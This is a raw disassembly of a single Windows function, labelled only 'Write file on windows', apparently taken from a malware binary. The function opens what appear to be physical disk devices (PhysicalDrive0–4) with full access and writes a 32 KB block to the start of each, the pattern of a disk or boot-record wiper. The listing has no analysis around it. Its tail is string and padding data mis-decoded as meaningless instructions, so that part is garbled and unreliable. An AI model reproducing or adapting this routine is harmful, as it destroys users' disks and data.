Function at 0x407d18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov eax, dword [0x4103a8]
mov byte [eax], 1
mov eax, 0x407cd0
call fcn.00404424
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407ed0
call sub.kernel32.dll_CreateFileA
mov ebx, eax
mov esi, 0x408294
mov edi, 0x4117a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407ee4
call sub.kernel32.dll_CreateFileA
mov esi, eax
push esi
mov esi, 0x408294
mov edi, 0x4197a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407ef8
call sub.kernel32.dll_CreateFileA
mov edi, eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4217a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407f0c
call sub.kernel32.dll_CreateFileA
mov dword [0x41179c], eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4297a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x407f20
call sub.kernel32.dll_CreateFileA
mov dword [0x4117a0], eax
push esi
push edi
mov esi, 0x408294
mov edi, 0x4317a4
mov ecx, 0x2000
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
push 0
push 0x4397a4
push 0x8000
push 0x4117a4
push ebx
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4197a4
push esi
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4217a4
push edi
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4317a4
mov eax, dword [0x4117a0]
push eax
call sub.kernel32.dll_WriteFile_1
push 0
push 0x4397a4
push 0x8000
push 0x4297a4
mov eax, dword [0x41179c]
push eax
call sub.kernel32.dll_WriteFile_1
push ebx
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
push edi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x41179c]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4117a0]
push eax
call sub.kernel32.dll_CloseHandle
pop edi
pop esi
pop ebx
call fcn.00403504
pop esp
pop esp
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f48
jbe 0x407f46
xor byte [eax], al
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f5c
jbe 0x407f5a
xor dword [eax], eax
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f70
jbe 0x407f6e
xor al, byte [eax]
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f84
jbe 0x407f82
xor eax, dword [eax]
add byte [esp + ebx*2 + 0x2e], bl
pop esp
push eax
push 0x63697379
popal
insb byte es:[edi], dx
inc esp
jb 0x407f98
jbe 0x407f96
xor al, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add cl, byte [ebp + 0x40]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add cl, byte [ebp + 0x40]
add byte [eax], al
add byte [eax], al
add byte [eax], al
xor dl, byte [ebx]
mov eax, eax
add byte [ebp - 0x72ffffc0], cl
inc eax
add byte [eax], al
lea eax, [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
and al, 0x1f
inc eax
add byte [eax + 0x24340040], dh
inc eax
add byte [eax], al
retf